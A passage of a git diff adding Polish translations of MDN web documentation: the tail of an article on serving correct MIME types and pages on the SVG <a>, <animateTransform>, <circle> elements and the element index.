sposobem przetwarzania danej zawartości.</p> + +<p>Przykładowo, strona WWW ukierunkowana na twórców witryn może życzyć sobie przesłania pewnych dokumentów, przykładowo HTMLowych, jak również <code>text/html</code> lub <code>text/plain</code>, by móc je przetworzyć i wyświetlić jako HTML lub jako kod źródłowy. Jeśli przeglądarka będzie zgadywać typ MIME, tego typu możliwość nie będzie dłużej dostępna dla autora.</p> + +<h4 id="Security" name="Security">Bezpieczeństwo</h4> + +<p>Niektóre typy zawartości, jak pliki wykonywalne, są przeważnie niebezpieczne. Z tego powodu te typy MIME przeważnie są ograniczone pod względem akcji, jakie podejmie przeglądarka w przypadku tego typu plików. Plik wykonywalny nie powinien wykonywać się na komputerze użytkownika, co najwyżej może mieć prawo do wyświetlenia okienka <strong>z zapytaniem do użytkownika</strong>, czy chce pobrać ten plik.</p> + +<p>W Internet Explorerze zgadywanie typów MIME doprowadziło do naruszenia bezpieczeństwa - przez niepoprawne zgadywanie szkodliwe treści bywały oznaczane jako bezpieczne, co skutkowało pominięciem wyświetlania standardowego okienka pobierania i przedostawaniem się plików wykonywalnych na komputery użytkowników.</p> + +<h2 id="Jak_określić_typ_MIME_który_jest_wysyłany_przez_serwer">Jak określić typ MIME, który jest wysyłany przez serwer</h2> + +<p>W Firefoxie załaduj plik i użyj Narzędzia | Informacje o witrynie. Możesz również użyć <a class="external" href="http://www.rexswain.com/httpview.html">Rex Swain's HTTP Viewer</a> lub <a class="external" href="http://livehttpheaders.mozdev.org/">Live HTTP Headers</a> , aby zobaczyć pełne nagłówki i treść każdego pliku wysłanego z serwera webowego.</p> + +<p>W odniesieniu do standardów, tag <code>meta</code> o typie MIME jak np. <code><span class="nowiki"><meta http-equiv="Content-Type" content="text/html"></span></code> powinien być ignorowany, jeśli w nagłówku znajduje się zapis {{HTTPHeader("Content-Type")}}. Zamiast szukać tej linii w kodzie źródłowym HTML lepiej użyć powyższych technik do określenia typu MIME wysyłanego przez serwer.</p> + +<h2 id="Jak_określić_prawidłowy_typ_MIME_dla_Twojej_treści">Jak określić prawidłowy typ MIME dla Twojej treści</h2> + +<p>Jest kilka kroków, które należy zrobić by określić poprawną wartość dla typu MIME twojej treści.</p> + +<ol> + <li>Jeśli twoja treść została utworzona z pomocą zewnętrznego oprogramowania, przeczytaj jego dokumentację by dowiedzieć się, jakie typy MIME powinny zostać zraportowane dla danych typów danych.</li> + <li>Zerknij na <a class="external" href="http://www.iana.org/assignments/media-types/index.html">rejest typów danych IANA | MIME</a>. Zawiera on wszystkie zarejestrowane typy MIME.</li> + <li>Jeśli typ danych jest wyświetlany poprzez rozszerzenie w Netscape Gecko, zainstaluj wtyczkę, a następnie sprawdź Pomoc->O Menu Wtyczek, by sprawdzić jakie typy MIME są związane z typem danych.</li> + <li>Poszukaj rozszerzenia pliku w <a class="external" href="http://filext.com/">FILExt</a> lub <a class="external" href="http://www.file-extensions.org/">File extensions reference</a>, aby sprawdzić jakie typy MIME są związane z tym rozszerzeniem.</li> +</ol> + +<h2 id="Jak_przygotować_serwer_żeby_wysyłał_poprawne_typy_MIME">Jak przygotować serwer, żeby wysyłał poprawne typy MIME</h2> + +<p>Fundamentalną kwestią jest konfiguracja Twojego serwera w taki sposób, by wysyłał poprawny nagłówek HTTP {{HTTPHeader("Content-Type")}} dla każdego dokumentu.</p> + +<ul> + <li>Jeśli używasz serweru webowego Apache to po prostu skopiuj ten <a href="/en/Sample_.htaccess_file" title="en/Sample_.htaccess_file">fragment pliku .htaccess</a> do lokalizacji, która zawiera pliki, które chcesz wysłać z poprawnymi typami MIME. Jeśli masz cały podkatalog plików, po prostu umieść plik w katalogu nadrzędnym; nie ma potrzeby umieszczania go w każdym podkatalogu.</li> + <li>Jeśli uzywasz Microsoft IIS, sprawdź <a class="external" href="http://technet2.microsoft.com/windowsserver/en/library/ec84d61e-3e24-4de0-b35a-d41eb662fefb1033.mspx">ten artykuł</a> na Microsoft TechNet</li> + <li>Jesli używasz do generowania treści używasz skryptu działającego po stronie serwera, możesz po prostu dodać jedną linijkę praktycznie na samej górze Twojego skryptu. Możesz obsługiwać zawartość inną, niż HTML, właściwą dla Perla, PHP, ASP czy Javy - tylko zmień odpowiednio typ MIME. + <ul> + <li>W przypadku Pearl CGI zadbaj o zapis <code>print "Content-Type: text/html\n\n";</code> przed jakimkolwiek pozostałym outputem. Jeśli używasz modułu CGI to możesz zamiast tego użyć linii <code>print $cgi->header('text/html');</code>, gdzie <code>$cgi</code> to Twoja referencja do instancji CGI.</li> + <li>W przypadku PHP zadbaj o zapis <code>header('Content-Type: text/html');</code> przed jakimkolwiek pozostałym outputem.</li> + <li>W przypadku ASP zadbaj o zapis <code>response.ContentType = "text/html";</code> przed jakimkolwiek pozostałym outputem.</li> + <li>W przypadku servletu Javy zadbaj o zapis <code>response.setContentType("text/html");</code> na górze Twojej metody <code>doGet</code> lub <code>doPost</code>, gdzie <code>response</code> to referencja do <code>HttpServletResponse</code>.</li> + </ul> + </li> +</ul> + +<h3 id="Related_Links" name="Related_Links">Powiązane linki</h3> + +<ul> + <li><a href="/en/Incorrect_MIME_Type_for_CSS_Files" title="en/Incorrect_MIME_Type_for_CSS_Files">Niepoprawne typy MIME dla plików CSS</a></li> + <li><a class="external" href="http://www.iana.org/assignments/media-types/index.html">Typy danych IANA | MIME</a></li> + <li><a class="external" href="http://www.w3.org/Protocols/HTTP/1.1/spec.html">Protokół transmisji hipertekstu — HTTP/1.1</a></li> + <li><a class="external" href="http://support.microsoft.com/default.aspx?sd=msdn&scid=kb;en-us;293336">Microsoft - 293336 - INFO: WebCast: Podejście do typów MIME w Microsoft Internet Explorerze</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/networking/moniker/overview/appendix_a.asp">Microsoft - Appendix A: Wykrywanie typów MIME Type Detection w Internet Explorerze</a></li> + <li><a class="external" href="http://www.microsoft.com/windows/ie/downloads/critical/q290108/">Microsoft - Aktualizacja Bezpieczeństwa, 29.03.2001</a></li> + <li><a class="external" href="http://www.microsoft.com/windows/ie/downloads/critical/Q313675/">Microsoft - Aktualizacja Bezpieczeństwa, 13.12.2001</a></li> +</ul> + +<div class="originaldocinfo"> +<h3 id="Original_Document_Information" name="Original_Document_Information">Informacje dot. dokumentu źródłowego</h3> + +<ul> + <li>Author: Bob Clary, date: 20 Feb 2003</li> +</ul> +</div> + +<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</div> diff --git a/files/pl/web/svg/element/a/index.html b/files/pl/web/svg/element/a/index.html new file mode 100644 index 0000000000..0bef2fd2ac --- /dev/null +++ b/files/pl/web/svg/element/a/index.html @@ -0,0 +1,149 @@ +--- +title: <a> +slug: Web/SVG/Element/a +tags: + - Element SVG + - SVG + - SVG link +translation_of: Web/SVG/Element/a +--- +<div>{{SVGRef}}</div> + +<p><span class="seoSummary">Element <strong><code><a></code></strong> SVG określa hiperłącze.</span></p> + +<p>Element<a href="/en-US/docs/Web/HTML/Element/a"> <a> </a><a href="/en-US/docs/Web/HTML/Element/a">HTML </a>jest interpretowany tak samo jak element <a> SVG. Z tego względu w przypadku użycia selektora <a> w CSS lub JavaScript może mieć zastosowanie do nieprawidłowego elementu. Wypróbuj regułę @namespace, aby rozróżnić między nimi.</p> + +<h2 id="Użycie">Użycie</h2> + +<p>{{svginfo}}</p> + +<h2 id="Atrybuty">Atrybuty</h2> + +<h3 id="Atrybuty_globalne">Atrybuty globalne</h3> + +<ul> + <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes">Conditional processing attributes</a></li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Core attributes</a></li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Graphical_event_attributes">Graphical event attributes</a></li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Presentation attributes</a></li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Xlink_attributes">Xlink attributes</a></li> + <li>{{SVGAttr("class")}}</li> + <li>{{SVGAttr("style")}}</li> + <li>{{SVGAttr("externalResourcesRequired")}}</li> + <li>{{SVGAttr("transform")}}</li> +</ul> + +<h3 id="Atrybuty_specyficzne">Atrybuty specyficzne</h3> + +<div class="note"> +<p>No browser supports all XLink attributes.</p> +</div> + +<ul> + <li>{{SVGAttr("href")}}</li> + <li>{{SVGAttr("target")}}</li> + <li>{{SVGAttr("xlink:show")}}</li> + <li>{{SVGAttr("xlink:actuate")}}</li> + <li>{{SVGAttr("xlink:href")}} {{deprecated_inline}}</li> +</ul> + +<h2 id="DOM_model">DOM model</h2> + +<p>Element implementuje {{domxref("SVGAElement")}}.</p> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="SVG">SVG</h3> + +<pre class="brush: html"><svg width="140" height="30" xmlns="http://www.w3.org/2000/svg" + xmlns:xlink="http://www.w3.org/1999/xlink"> + + <a xlink:href="https://developer.mozilla.org/en-US/docs/SVG" + target="_blank"> + <rect height="30" width="120" y="0" x="0" rx="15"/> + <text fill="white" text-anchor="middle" + y="21" x="60">SVG on MDN</text> + </a> +</svg></pre> + +<h3 id="Rezultat">Rezultat</h3> + +<p>{{EmbedLiveSample("Example", 170, 60)}}</p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("SVG2", "linking.html#Links", "<a>")}}</td> + <td>{{Spec2("SVG2")}}</td> + <td>Replaced {{SVGAttr("xlink:href")}} attribute by {{SVGAttr("href")}}</td> + </tr> + <tr> + <td>{{SpecName("SVG1.1", "linking.html#Links", "<a>")}}</td> + <td>{{Spec2("SVG1.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>IE</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop('1.8')}}</td> + <td>{{CompatIE('9.0')}}</td> + <td>{{CompatOpera('9.0')}}</td> + <td>{{CompatSafari('3.0.4')}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatAndroid('3.0')}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile('1.8')}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatSafari('3.0.4')}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/svg/element/animatetransform/index.html b/files/pl/web/svg/element/animatetransform/index.html new file mode 100644 index 0000000000..e54fffd073 --- /dev/null +++ b/files/pl/web/svg/element/animatetransform/index.html @@ -0,0 +1,95 @@ +--- +title: <animateTransform> +slug: Web/SVG/Element/animateTransform +tags: + - Animacja + - Animacje SVG + - SVG Animacja +translation_of: Web/SVG/Element/animateTransform +--- +<div>{{SVGRef}}</div> + +<p>Element animateTransform służy do transformacji właściwości elementu takich jak skalowanie, obracanie, przechylanie.</p> + +<h2 id="Użycie">Użycie</h2> + +<p>{{svginfo}}</p> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: html"><?xml version="1.0"?> +<svg width="120" height="120" viewBox="0 0 120 120" + xmlns="http://www.w3.org/2000/svg" version="1.1" + xmlns:xlink="http://www.w3.org/1999/xlink" > + + <polygon points="60,30 90,90 30,90"> + <animateTransform attributeName="transform" + attributeType="XML" + type="rotate" + from="0 60 70" + to="360 60 70" + dur="10s" + repeatCount="indefinite"/> + </polygon> +</svg></pre> + +<p><strong>Podgląd na żywo</strong></p> + +<p>{{ EmbedLiveSample('Example','120','120') }}</p> + +<h2 id="Atrybuty">Atrybuty</h2> + +<h3 id="Atrybuty_globalne">Atrybuty globalne</h3> + +<ul> + <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional processing attributes" title="en-US/docs/Web/SVG/Attribute#Conditional processing attributes">Conditional processing attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Core attributes" title="en-US/docs/Web/SVG/Attribute#Core attributes">Core attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Animation event attributes" title="en-US/docs/Web/SVG/Attribute#Animation event attributes">Animation event attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Xlink attributes" title="en-US/docs/Web/SVG/Attribute#Xlink attributes">Xlink attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Animation attribute target attributes" title="en-US/docs/Web/SVG/Attribute#Animation attribute target attributes">Animation attribute target attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Animation timing attributes" title="en-US/docs/Web/SVG/Attribute#Animation timing attributes">Animation timing attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Animation value attributes" title="en-US/docs/Web/SVG/Attribute#Animation value attributes">Animation value attributes</a> »</li> + <li><a href="/en-US/docs/Web/SVG/Attribute#Animation addition attributes" title="en-US/docs/Web/SVG/Attribute#Animation addition attributes">Animation addition attributes</a> »</li> + <li>{{ SVGAttr("externalResourcesRequired") }}</li> +</ul> + +<h3 id="Atrybuty_specyficzne">Atrybuty specyficzne</h3> + +<ul> + <li>{{ SVGAttr("by") }}</li> + <li>{{ SVGAttr("from") }}</li> + <li>{{ SVGAttr("to") }}</li> + <li>{{ SVGAttr("type") }}</li> +</ul> + +<h2 id="Model_DOM">Model DOM</h2> + +<p>Element implementuje <code><a href="/en-US/docs/DOM/SVGAnimateTransformElement" title="en/DOM/SVGAnimateTransformElement">SVGAnimateTransformElement</a></code>.</p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("SVG Animations 2", "#AnimateTransformElement", "<animateTransform>")}}</td> + <td>{{Spec2("SVG Animations 2")}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('SVG1.1', 'animate.html#AnimateTransformElement', '<animateTransform>')}}</td> + <td>{{Spec2('SVG1.1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<p>{{Compat("svg.elements.animateTransform")}}</p> diff --git a/files/pl/web/svg/element/index.html b/files/pl/web/svg/element/index.html new file mode 100644 index 0000000000..297ac09a16 --- /dev/null +++ b/files/pl/web/svg/element/index.html @@ -0,0 +1,252 @@ +--- +title: SVG element reference +slug: Web/SVG/Element +tags: + - NeedsTranslation + - SVG + - SVG Reference + - TopicStub + - 'l10n:priority' +translation_of: Web/SVG/Element +--- +<p>« <a href="/en-US/docs/SVG">SVG</a> / <a href="/en-US/docs/SVG/Attribute">SVG Attribute reference</a> »</p> + +<h2 id="SVG_elements">SVG elements</h2> + +<div class="index"><span id="A">A</span> + +<ul> + <li>{{SVGElement("a")}}</li> + <li>{{SVGElement("altGlyph")}}</li> + <li>{{SVGElement("altGlyphDef")}}</li> + <li>{{SVGElement("altGlyphItem")}}</li> + <li>{{SVGElement("animate")}}</li> + <li>{{SVGElement("animateColor")}}</li> + <li>{{SVGElement("animateMotion")}}</li> + <li>{{SVGElement("animateTransform")}}</li> + <li>{{HTMLElement("audio")}}</li> +</ul> +<span id="C">B C</span> + +<ul> + <li>{{HTMLElement("canvas")}}</li> + <li>{{SVGElement("circle")}}</li> + <li>{{SVGElement("clipPath")}}</li> + <li>{{SVGElement("color-profile")}}</li> + <li>{{SVGElement("cursor")}}</li> +</ul> +<span id="D">D</span> + +<ul> + <li>{{SVGElement("defs")}}</li> + <li>{{SVGElement("desc")}}</li> + <li>{{SVGElement("discard")}}</li> +</ul> +<span id="E">E</span> + +<ul> + <li>{{SVGElement("ellipse")}}</li> +</ul> +<span id="F">F</span> + +<ul> + <li>{{SVGElement("feBlend")}}</li> + <li>{{SVGElement("feColorMatrix")}}</li> + <li>{{SVGElement("feComponentTransfer")}}</li> + <li>{{SVGElement("feComposite")}}</li> + <li>{{SVGElement("feConvolveMatrix")}}</li> + <li>{{SVGElement("feDiffuseLighting")}}</li> + <li>{{SVGElement("feDisplacementMap")}}</li> + <li>{{SVGElement("feDistantLight")}}</li> + <li>{{SVGElement("feDropShadow")}}</li> + <li>{{SVGElement("feFlood")}}</li> + <li>{{SVGElement("feFuncA")}}</li> + <li>{{SVGElement("feFuncB")}}</li> + <li>{{SVGElement("feFuncG")}}</li> + <li>{{SVGElement("feFuncR")}}</li> + <li>{{SVGElement("feGaussianBlur")}}</li> + <li>{{SVGElement("feImage")}}</li> + <li>{{SVGElement("feMerge")}}</li> + <li>{{SVGElement("feMergeNode")}}</li> + <li>{{SVGElement("feMorphology")}}</li> + <li>{{SVGElement("feOffset")}}</li> + <li>{{SVGElement("fePointLight")}}</li> + <li>{{SVGElement("feSpecularLighting")}}</li> + <li>{{SVGElement("feSpotLight")}}</li> + <li>{{SVGElement("feTile")}}</li> + <li>{{SVGElement("feTurbulence")}}</li> + <li>{{SVGElement("filter")}}</li> + <li>{{SVGElement("font")}}</li> + <li>{{SVGElement("font-face")}}</li> + <li>{{SVGElement("font-face-format")}}</li> + <li>{{SVGElement("font-face-name")}}</li> + <li>{{SVGElement("font-face-src")}}</li> + <li>{{SVGElement("font-face-uri")}}</li> + <li>{{SVGElement("foreignObject")}}</li> +</ul> +<span id="G">G</span> + +<ul> + <li>{{SVGElement("g")}}</li> + <li>{{SVGElement("glyph")}}</li> + <li>{{SVGElement("glyphRef")}}</li> +</ul> +<span id="H">H</span> + +<ul> + <li>{{SVGElement("hatch")}}</li> + <li>{{SVGElement("hatchpath")}}</li> + <li>{{SVGElement("hkern")}}</li> +</ul> +<span id="I">I</span> + +<ul> + <li>{{HTMLElement("iframe")}}</li> + <li>{{SVGElement("image")}}</li> +</ul> +<span id="L">J K L</span> + +<ul> + <li>{{SVGElement("line")}}</li> + <li>{{SVGElement("linearGradient")}}</li> +</ul> +<span id="M">M</span> + +<ul> + <li>{{SVGElement("marker")}}</li> + <li>{{SVGElement("mask")}}</li> + <li>{{SVGElement("mesh")}}</li> + <li>{{SVGElement("meshgradient")}}</li> + <li>{{SVGElement("meshpatch")}}</li> + <li>{{SVGElement("meshrow")}}</li> + <li>{{SVGElement("metadata")}}</li> + <li>{{SVGElement("missing-glyph")}}</li> + <li>{{SVGElement("mpath")}}</li> +</ul> +<span id="P">N O P</span> + +<ul> + <li>{{SVGElement("path")}}</li> + <li>{{SVGElement("pattern")}}</li> + <li>{{SVGElement("polygon")}}</li> + <li>{{SVGElement("polyline")}}</li> +</ul> +<span id="R">Q R</span> + +<ul> + <li>{{SVGElement("radialGradient")}}</li> + <li>{{SVGElement("rect")}}</li> +</ul> +<span id="S">S</span> + +<ul> + <li>{{SVGElement("script")}}</li> + <li>{{SVGElement("set")}}</li> + <li>{{SVGElement("solidcolor")}}</li> + <li>{{SVGElement("stop")}}</li> + <li>{{SVGElement("style")}}</li> + <li>{{SVGElement("svg")}}</li> + <li>{{SVGElement("switch")}}</li> + <li>{{SVGElement("symbol")}}</li> +</ul> +<span id="T">T</span> + +<ul> + <li>{{SVGElement("text")}}</li> + <li>{{SVGElement("textPath")}}</li> + <li>{{SVGElement("title")}}</li> + <li>{{SVGElement("tref")}}</li> + <li>{{SVGElement("tspan")}}</li> +</ul> +<span id="U">U</span> + +<ul> + <li>{{SVGElement("unknown")}}</li> + <li>{{SVGElement("use")}}</li> +</ul> +<span id="V">V — Z</span> + +<ul> + <li>{{HTMLElement("video")}}</li> + <li>{{SVGElement("view")}}</li> + <li>{{SVGElement("vkern")}}</li> +</ul> +</div> + +<h2 id="Categories">Categories</h2> + +<h3 id="Animation_elements">Animation elements</h3> + +<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p> + +<h3 id="Basic_shapes">Basic shapes</h3> + +<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p> + +<h3 id="Container_elements">Container elements</h3> + +<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p> + +<h3 id="Descriptive_elements">Descriptive elements</h3> + +<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p> + +<h3 id="Filter_primitive_elements">Filter primitive elements</h3> + +<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p> + +<h3 id="Font_elements">Font elements</h3> + +<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p> + +<h3 id="Gradient_elements">Gradient elements</h3> + +<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p> + +<h3 id="Graphics_elements">Graphics elements</h3> + +<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p> + +<h3 id="Graphics_referencing_elements">Graphics referencing elements</h3> + +<p>{{HTMLElement("audio")}}, {{HTMLElement("iframe")}}, {{SVGElement("image")}}, {{SVGElement("mesh")}}, {{SVGElement("use")}}, {{HTMLElement("video")}}</p> + +<h3 id="HTML_elements">HTML elements</h3> + +<p>{{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("video")}}</p> + +<h3 id="Light_source_elements">Light source elements</h3> + +<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p> + +<h3 id="Never-rendered_elements">Never-rendered elements</h3> + +<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}}</p> + +<h3 id="Paint_server_elements">Paint server elements</h3> + +<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}}</p> + +<h3 id="Renderable_elements">Renderable elements</h3> + +<p>{{SVGElement("a")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{HTMLElement("iframe")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}}, {{HTMLElement("video")}}</p> + +<h3 id="Shape_elements">Shape elements</h3> + +<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p> + +<h3 id="Structural_elements">Structural elements</h3> + +<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p> + +<h3 id="Text_content_elements">Text content elements</h3> + +<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p> + +<h3 id="Text_content_child_elements">Text content child elements</h3> + +<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p> + +<h3 id="Uncategorized_elements">Uncategorized elements</h3> + +<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p> diff --git a/files/pl/web/svg/element/okrąg/index.html b/files/pl/web/svg/element/okrąg/index.html new file mode 100644 index 0000000000..6ef2bca50e --- /dev/null +++ b/files/pl/web/svg/element/okrąg/index.html @@ -0,0 +1,99 @@ +--- +title: <circle> +slug: Web/SVG/Element/okrąg +translation_of: Web/SVG/Element/circle +--- +<div>{{SVGRef}}</div> + +<p>Element <a href="/en-US/docs/Web/SVG">SVG</a> jest podstawowym kształtem SVG, używanym do tworzenia okręgów w oparciu o punkt środkowy i promień.<strong><code><circle></code></strong></p> + +<div id="Example"> +<div class="hidden"> +<pre class="brush: css">html, body, svg {height: 100%}</pre> +</div> + +<pre class="brush: html"><svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> + <circle cx="50" cy="50" r="50" /> +</svg></pre> + +<p>{{EmbedLiveSample ("Przykład", 100, 100)}}</p> +</div> + +<h2 id="Atrybuty">Atrybuty</h2> + +<dl> + <dt id="attr-cx">{{SVGAttr ("cx")}}</dt> + <dd>Ten atrybut definiuje współrzędną osi X środka elementu.<br> + <small><em>Typ wartości</em> : <strong><a href="/docs/Web/SVG/Content_type#Length"><długość></a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage"><procent></a></strong> ; <em>Wartość domyślna</em> : <code>0</code>; <em>Animowalny</em> : <strong>tak</strong></small></dd> + <dt id="attr-cy">{{SVGAttr ("cy")}}</dt> + <dd>Ten atrybut definiuje współrzędną osi y środka środka elementu.<br> + <small><em>Typ wartości</em> : <strong><a href="/docs/Web/SVG/Content_type#Length"><długość></a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage"><procent></a></strong> ; <em>Wartość domyślna</em> : <code>0</code>; <em>Animowalny</em> : <strong>tak</strong></small></dd> + <dt id="attr-r">{{SVGAttr ("r")}}</dt> + <dd>Ten atrybut definiuje promień elementu.<br> + Wartość mniejsza lub równa zero powoduje wyłączenie renderowania okręgu.<br> + <small><em>Typ wartości</em> : <a href="/docs/Web/SVG/Content_type#Length"><strong><length></strong></a> ; <em>Wartość domyślna</em> : <code>0</code>; <em>Animowalny</em> : <strong>tak</strong></small></dd> + <dt>{{SVGAttr ("ścieżkaLength")}}</dt> + <dd>Ten atrybut pozwala określić całkowitą długość ścieżki w jednostkach użytkownika.<br> + <small><em>Typ wartości</em> : <a href="/docs/Web/SVG/Content_type#Number"><strong><liczba></strong></a> ; <em>Wartość domyślna</em> : <em>brak</em> ; <em>Animowalny</em> : <strong>tak</strong></small></dd> +</dl> + +<div class="note"> +<p><strong>Uwaga:</strong> Począwszy od SVG2 i <em>Geometria Propertie</em> s, czyli te atrybuty mogą być również używane jako właściwości CSS dla tego elementu.SVG2 <code>cx</code>, <code>cy</code>and <code>r</code> are</p> +</div> + +<h3 id="Globalne_atrybuty">Globalne atrybuty</h3> + +<dl> + <dt><a href="/docs/Web/SVG/Attribute/Core">Główne atrybuty</a></dt> + <dd><small>Przede wszystkim: {{SVGAttr ('id')}}, {{SVGAttr ('tabindex')}}</small></dd> + <dt><a href="/docs/Web/SVG/Attribute/Styling">Atrybuty stylizacji</a></dt> + <dd><small>{{SVGAttr ('class')}}, {{SVGAttr 